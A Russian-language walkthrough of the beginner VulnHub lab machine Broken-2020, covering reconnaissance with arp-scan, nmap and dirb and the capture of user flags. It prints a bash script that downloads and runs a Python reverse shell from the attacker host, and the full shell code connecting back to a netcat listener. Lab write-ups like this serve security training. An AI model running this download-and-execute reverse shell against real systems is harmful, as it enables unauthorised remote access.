Взлом сервера, уровень Новичок.VulnHab,Broken-2020.

Вот мы и опять вернулись к взлому виртуалок с сервиса VulnHab.com . Сегодня свеженькая виртуалка начального уровня под названием Broken-2020 .

Краткое описание.

Name: Broken-2020: 1
Date release: 22 Apr 2020
Author: EuSecuinfo

Descriptio:
Level : beginner for user flag and intermediate for root flag.No exploit, custom exploitation is need.
Work on virtualbox.

Вообщем найти надо флаги, пользователя и какие то корневые. Качаем , ставим и т.д. Для взлома я как всегда использую виртуалку дистрибутива Kali Linux. Поехали….

Первый флаг самый легкий…

Первым делом как всегда ищем IP машины :

arp-scan -I eth1 -l

Далее сканируем порты сервера Nmap :

nmap -p - -sV 192.168.1.232

Что же. Заглядываем по адресу. Нам выдает просто заглушку, ничего интересного.

Не расстраиваемся. Запускаем DIRB, что то же тут должно быть :

dirb http://192.168.1.232

Сразу находим место куда можно заглянуть.

Идем с начало в 192.168.1.232/cms/index . Как говориться, осматриваемся , смотрим код страниц, усердно думаем.

Ну что нашли что то странное ? )))) Первое что я заметил что заглушка пропала с сайта, мы попали уже на 192.168.1.232/index.php а файл html не доступен. Значит что то там все-таки произошло. Второе место где что то может быть , это кнопочка install которая передает данные серверу.

Не знаю по чему , но я сразу интуитивно поменял запрос http://192.168.1.232/cms/?install=on на http://192.168.1.232/cms/?install=off . На что мне сказали : Флаг испорчен. Но мы точно на правильном пути.

Больше отсюда я выжать ничего не смог. Возможно вы нашли что то еще ))) Собственно я даже расстроился, идеи подходили к концу. Остановился на том что должно быть еще что то на веб-сервере и начал опять мучать DIRB…

Вот и оно, живем . Идем в http://192.168.1.232/cms/cc/index.php

Во первых мне понравилось оглавление Please specify the IP:PORT for the C&C server. Толкает мысль на явную подсказку.

Command and Control server (C&C)

C&C-сервер — сервер, с помощью которого злоумышленник способен, например, контролировать ботнет и отдавать команды его участникам, управлять шпионским ПО, оправлять полезную нагрузку и т.п.

Давайте поднимем NetCat и посмотрим что нам постучится на него . В форме вбиваем IP и Port.

nc -lvp 8888

По моему Автор этой машины уже за нас написал загрузчик и исполнитель скриптов на этом веб сервере ))) Собственно пишем наш bash скрипт с обратным шелом, поднимаем Apache сервер и скармливаем его .

Скрипт .sh ->  85090139fc5a8ae55dd8beabb0a8e10.sh
#! bash
wget http://192.168.146.5/shell.py
python shell.py
Сам шелл 'shell.py'
# coding: utf-8
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.146.5",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
С нашей стороны NetCat
nc -vlp 8888

Вот мы и запустили обратный шелл под пользователем www-data . Теперь давайте поищем flag с помощью команды find .

find -name 'flag.*'
$ cat /home/alice/flag.txt
{FLAG2:**Robing the rober**}
$ 
Вот и второй флаг )))
$ cat /back/backup/flag.txt
{FLAG3:**Power of snak**}
$ 
Третий флаг.
ls -l /
-rw-r--r--  1 root root     0 Mar 25 19:36 flag.txt
$ cat /flag.txt
$ 

Четвертый флаг по ходу пустой. 

Логично попробовать как то поднять привилегии до root. Но это уже другая история. Всем успехов, пишите в комментария если нашли что то еще в этой машине )

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.